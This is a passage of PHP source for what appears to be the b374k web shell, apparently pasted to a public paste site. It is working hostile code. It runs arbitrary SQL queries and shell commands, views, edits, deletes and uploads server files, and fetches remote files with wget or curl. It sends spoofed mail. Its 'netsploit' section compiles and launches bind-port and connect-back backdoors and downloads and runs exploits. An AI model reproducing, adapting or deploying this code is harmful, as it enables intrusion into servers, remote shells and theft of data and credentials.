  668. <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
  669. <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
  670. </form></div>
  671. ";
  672. $columns = array();
  673. $msg = "<table class=\"explore\" style=\"width:99%;\">";
  674. $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
  675. while(list($column) = @mysql_fetch_row($hasil)){
  676. $msg .= "<th>$column</th>";
  677. $kolum = $column;
  678. }
  679. $msg .= "</tr>";
  680. $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
  681. list($total) = mysql_fetch_row($hasil);
  682. if(isset($_GET['z'])) $page = (int) $_GET['z'];
  683. else $page = 1;
  684. $pagenum = 100;
  685. $totpage = ceil($total / $pagenum);
  686. $start = (($page - 1) * $pagenum);
  687. $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
  688. while($datas = @mysql_fetch_assoc($hasil)){
  689. $msg .= "<tr>";
  690. foreach($datas as $data){
  691. if(trim($data) == "") $data = "&nbsp;";
  692. $msg .= "<td>$data</td>";
  693. }
  694. $msg .= "</tr>";
  695. }
  696. $msg .= "</table>";
  697.  
  698.  
  699. $head = "<div style=\"padding:10px 0 0 6px;\">
  700. <form action=\"?\" method=\"get\">
  701. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  702. <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  703. <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  704. <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  705. <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  706. <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  707. <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  708. <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
  709. Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
  710. for($i = 1;$i <= $totpage;$i++){
  711. $head .= "<option value=\"".$i."\">".$i."</option>";
  712. if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
  713. }
  714. $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
  715. $msg = $msgq.$head.$msg;
  716. }
  717. elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
  718. $db = $_GET['db'];
  719. $query = magicboom($_GET['sqlquery']);
  720. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
  721. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  722. <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  723. <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  724. <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  725. <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  726. <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  727. <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  728. <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
  729. <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
  730. </form></div>
  731. ";
  732. @mysql_select_db($db);
  733. $querys = explode(";",$query);
  734. foreach($querys as $query){
  735. if(trim($query) != ""){
  736. $hasil = mysql_query($query);
  737. if($hasil){
  738. $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
  739. $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
  740. for($i=0;$i<@mysql_num_fields($hasil);$i++)
  741. $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
  742. $msg .= "</tr>";
  743. for($i=0;$i<@mysql_num_rows($hasil);$i++)
  744. {
  745. $rows=@mysql_fetch_array($hasil);
  746. $msg .= "<tr>";
  747. for($j=0;$j<@mysql_num_fields($hasil);$j++)
  748. {
  749. if($rows[$j] == "") $dataz = "&nbsp;";
  750. else $dataz = $rows[$j];
  751. $msg .= "<td>".$dataz."</td>";
  752. }
  753. $msg .= "</tr>";
  754. }
  755. $msg .= "</table>";
  756. }
  757. else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
  758. }
  759. }
  760. }
  761. else {
  762. $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";
  763. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
  764. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  765. <input type=\"hidden\" name=\"x\" value=\"mysql\" />
  766. <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
  767. <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
  768. <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
  769. <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
  770. <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
  771. <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
  772. <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p>
  773. </form></div>
  774. ";
  775. // show available database
  776. $dbs = array();
  777. $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
  778. $hasil = @mysql_list_dbs($con);
  779. while(list($db) = @mysql_fetch_row($hasil)){
  780. @array_push($dbs,$db);
  781. }
  782. @sort($dbs);
  783. foreach($dbs as $db){
  784. $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."\">$db</a></td></tr>";
  785. }
  786. $msg .= "</table>";
  787. }
  788. @mysql_close($con);
  789. }
  790. else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
  791.  
  792.  
  793. echo $msg;
  794. }
  795. else{
  796. ?>
  797. <form action="?" method="get">
  798. <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
  799. <input type="hidden" name="x" value="mysql" />
  800. <table class="tabnet" style="width:300px;">
  801. <tr><th colspan="2">Connect to mySQL server</th></tr>
  802. <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
  803. <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
  804. <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
  805. <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr>
  806. </table>
  807. </form>
  808. <?php }}
  809. elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
  810. if(isset($_POST['mail_send'])){
  811. $mail_to = $_POST['mail_to'];
  812. $mail_from = $_POST['mail_from'];
  813. $mail_subject = $_POST['mail_subject'];
  814. $mail_content = magicboom($_POST['mail_content']);
  815. if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
  816. $msg = "email sent to $mail_to";
  817. }
  818. else $msg = "send email failed";
  819. }
  820. ?>
  821. <form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
  822. <table class="cmdbox">
  823. <tr><td>
  824. <textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
  825. <tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" />&nbsp; mail to</td></tr>
  826. <tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="b374k@fbi.gov" name="mail_from" />&nbsp; from</td></tr>
  827. <tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />&nbsp; subject</td></tr>
  828. <tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
  829. <tr><td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?></td></tr>
  830. </table>
  831. </form>
  832.  
  833. <?php }
  834.  
  835.  
  836. elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
  837. @ob_start();
  838. @eval("phpinfo();");
  839. $buff = @ob_get_contents();
  840. @ob_end_clean();
  841. $awal = strpos($buff,"<body>")+6;
  842. $akhir = strpos($buff,"</body>");
  843. echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
  844. }
  845. elseif(isset($_GET['view']) && ($_GET['view'] != "")){
  846. if(is_file($_GET['view'])){
  847. if(!isset($file)) $file = magicboom($_GET['view']);
  848. if(!$win && $posix){
  849. $name=@posix_getpwuid(@fileowner($folder));
  850. $group=@posix_getgrgid(@filegroup($folder));
  851. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  852. }
  853. else {
  854. $owner = $user;
  855. }
  856. $filn = basename($file);
  857. echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
  858. <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
  859. <form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  860. <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
  861. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
  862. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  863. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
  864. </form>
  865. </td></tr>
  866. <tr><td>Size</td><td>".ukuran($file)."</td></tr>
  867. <tr><td>Permission</td><td>".get_perms($file)."</td></tr>
  868. <tr><td>Owner</td><td>".$owner."</td></tr>
  869. <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
  870. <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
  871. <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
  872. <tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr>
  873. <tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr>
  874. </table>
  875. ";
  876. if(isset($_GET['type']) && ($_GET['type']=='image')){
  877. echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
  878. }
  879. elseif(isset($_GET['type']) && ($_GET['type']=='code')){
  880. echo "<div class=\"viewfile\">";
  881. $file = wordwrap(@file_get_contents($file),"240","\n");
  882. @highlight_string($file);
  883. echo "</div>";
  884. }
  885. else {
  886. echo "<div class=\"viewfile\">";
  887. echo nl2br(htmlentities((@file_get_contents($file))));
  888. echo "</div>";
  889. }
  890. }
  891. elseif(is_dir($_GET['view'])){
  892. echo showdir($pwd,$prompt);
  893. }
  894.  
  895. }
  896. elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
  897.  
  898. if(isset($_POST['save'])){
  899. $file = $_POST['saveas'];
  900. $content = magicboom($_POST['content']);
  901. if($filez = @fopen($file,"w")){
  902. $time = date("d-M-Y H:i",time());
  903. if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
  904. else $msg = "failed to save";
  905. @fclose($filez);
  906. }
  907. else $msg = "permission denied";
  908. }
  909. if(!isset($file)) $file = $_GET['edit'];
  910. if($filez = @fopen($file,"r")){
  911. $content = "";
  912. while(!feof($filez)){
  913. $content .= htmlentities(str_replace("''","'",fgets($filez)));
  914. }
  915. @fclose($filez);
  916. }
  917.  
  918. ?>
  919. <form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
  920. <table class="cmdbox">
  921. <tr><td colspan="2">
  922. <textarea class="output" name="content">
  923. <?php echo $content; ?>
  924. </textarea>
  925. <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
  926. &nbsp;<?php echo $msg; ?></td></tr>
  927. </table>
  928. </form>
  929. <?php
  930. }
  931. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
  932. if(isset($_POST['uploadcomp'])){
  933. if(is_uploaded_file($_FILES['file']['tmp_name'])){
  934. $path = magicboom($_POST['path']);
  935. $fname = $_FILES['file']['name'];
  936. $tmp_name = $_FILES['file']['tmp_name'];
  937. $pindah = $path.$fname;
  938. $stat = @move_uploaded_file($tmp_name,$pindah);
  939. if ($stat) {
  940. $msg = "file uploaded to $pindah";
  941. }
  942. else $msg = "failed to upload $fname";
  943. }
  944. else $msg = "failed to upload $fname";
  945. }
  946. elseif(isset($_POST['uploadurl'])){
  947. $pilihan = trim($_POST['pilihan']);
  948. $wurl = trim($_POST['wurl']);
  949. $path = magicboom($_POST['path']);
  950. $namafile = download($pilihan,$wurl);
  951. $pindah = $path.$namafile;
  952. if(is_file($pindah)) {
  953. $msg = "file uploaded to $pindah";
  954. }
  955. else $msg = "failed to upload $namafile";
  956.  
  957. }
  958. ?>
  959. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  960. <table class="tabnet" style="width:320px;padding:0 1px;">
  961. <tr><th colspan="2">Upload from computer</th></tr>
  962. <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
  963. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  964. </tr>
  965. </table></form>
  966. <table class="tabnet" style="width:320px;padding:0 1px;">
  967. <tr><th colspan="2">Upload from url</th></tr>
  968. <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  969. <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
  970. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  971. <tr><td><select size="1" class="inputz" name="pilihan">
  972. <option value="wwget">wget</option>
  973. <option value="wlynx">lynx</option>
  974. <option value="wfread">fread</option>
  975. <option value="wfetch">fetch</option>
  976. <option value="wlinks">links</option>
  977. <option value="wget">GET</option>
  978. <option value="wcurl">curl</option>
  979. </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
  980. </tr>
  981. </table>
  982. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  983. <?php }
  984. elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
  985.  
  986. // bind connect with c
  987. if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
  988. $port = trim($_POST['port']);
  989. $passwrd = trim($_POST['bind_pass']);
  990. tulis("bdc.c",$port_bind_bd_c);
  991. exe("gcc -o bdc bdc.c");
  992. exe("chmod 777 bdc");
  993. @unlink("bdc.c");
  994. exe("./bdc ".$port." ".$passwrd." &");
  995. $scan = exe("ps aux");
  996. if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
  997. else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
  998. }
  999. // bind connect with perl
  1000. elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
  1001. $port = trim($_POST['port']);
  1002. $passwrd = trim($_POST['bind_pass']);
  1003. tulis("bdp",$port_bind_bd_pl);
  1004. exe("chmod 777 bdp");
  1005. $p2=which("perl");
  1006. exe($p2." bdp ".$port." &");
  1007. $scan = exe("ps aux");
  1008. if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
  1009. else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
  1010. }
  1011. // back connect with c
  1012. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
  1013. $ip = trim($_POST['ip']);
  1014. $port = trim($_POST['backport']);
  1015. tulis("bcc.c",$back_connect_c);
  1016. exe("gcc -o bcc bcc.c");
  1017. exe("chmod 777 bcc");
  1018. @unlink("bcc.c");
  1019. exe("./bcc ".$ip." ".$port." &");
  1020. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  1021. }
  1022. // back connect with perl
  1023. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
  1024. $ip = trim($_POST['ip']);
  1025. $port = trim($_POST['backport']);
  1026. tulis("bcp",$back_connect);
  1027. exe("chmod +x bcp");
  1028. $p2=which("perl");
  1029. exe($p2." bcp ".$ip." ".$port." &");
  1030. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  1031. }
  1032. elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
  1033. {
  1034. $pilihan = trim($_POST['pilihan']);
  1035. $wurl = trim($_POST['wurl']);
  1036. $namafile = download($pilihan,$wurl);
  1037. if(is_file($namafile)) {
  1038.  
  1039. $msg = exe($wcmd);
  1040. }
  1041. else $msg = "error: file not found $namafile";
  1042. }
  1043.  
  1044. ?>
  1045. <table class="tabnet">
  1046. <tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
  1047. <tr>
  1048. <td>
  1049. <table>
  1050. <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  1051. <tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
  1052. <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
  1053. <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
  1054. <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
  1055. </table>
  1056. </td>
  1057. <td>
  1058. <table>
  1059. <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  1060. <tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
  1061. <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
  1062. <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
  1063. <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
  1064. </table>
  1065. </td>
  1066. <td>
  1067. <table>
  1068. <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  1069. <tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
  1070. <tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
  1071. </tr>
  1072. <tr><td><select size="1" class="inputz" name="pilihan">
  1073. <option value="wwget">wget</option>
  1074. <option value="wlynx">lynx</option>
  1075. <option value="wfread">fread</option>
  1076. <option value="wfetch">fetch</option>
  1077. <option value="wlinks">links</option>
  1078. <option value="wget">GET</option>
  1079. <option value="wcurl">curl</option>
  1080. </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
  1081. </table>
  1082. </td>
  1083. </tr>
  1084. </table>
  1085. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  1086. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
  1087. <form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
  1088. <table class="cmdbox">
  1089. <tr><td colspan="2">
  1090. <textarea class="output" readonly>
  1091. <?php
  1092. if(isset($_POST['submitcmd'])) {
  1093. echo @exe($_POST['cmd']);
  1094. }
  1095. ?>
  1096. </textarea>
  1097. <tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
  1098. </table>
  1099. </form>
  1100. <?php }
  1101. else {
  1102. if(isset($_GET['delete']) && ($_GET['delete'] != "")){
  1103. $file = $_GET['delete'];
  1104. @unlink($file);
  1105. }
  1106. elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
  1107. @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
  1108. }
  1109. elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
  1110. $path = $pwd.$_GET['mkdir'];
  1111. @mkdir($path);
  1112. }
  1113. $buff = showdir($pwd,$prompt);
  1114. echo $buff;
  1115. }
  1116. ?>
  1117. </div>
  1118. </body>
  1119. </html>
Add Comment
Please, Sign In to add comment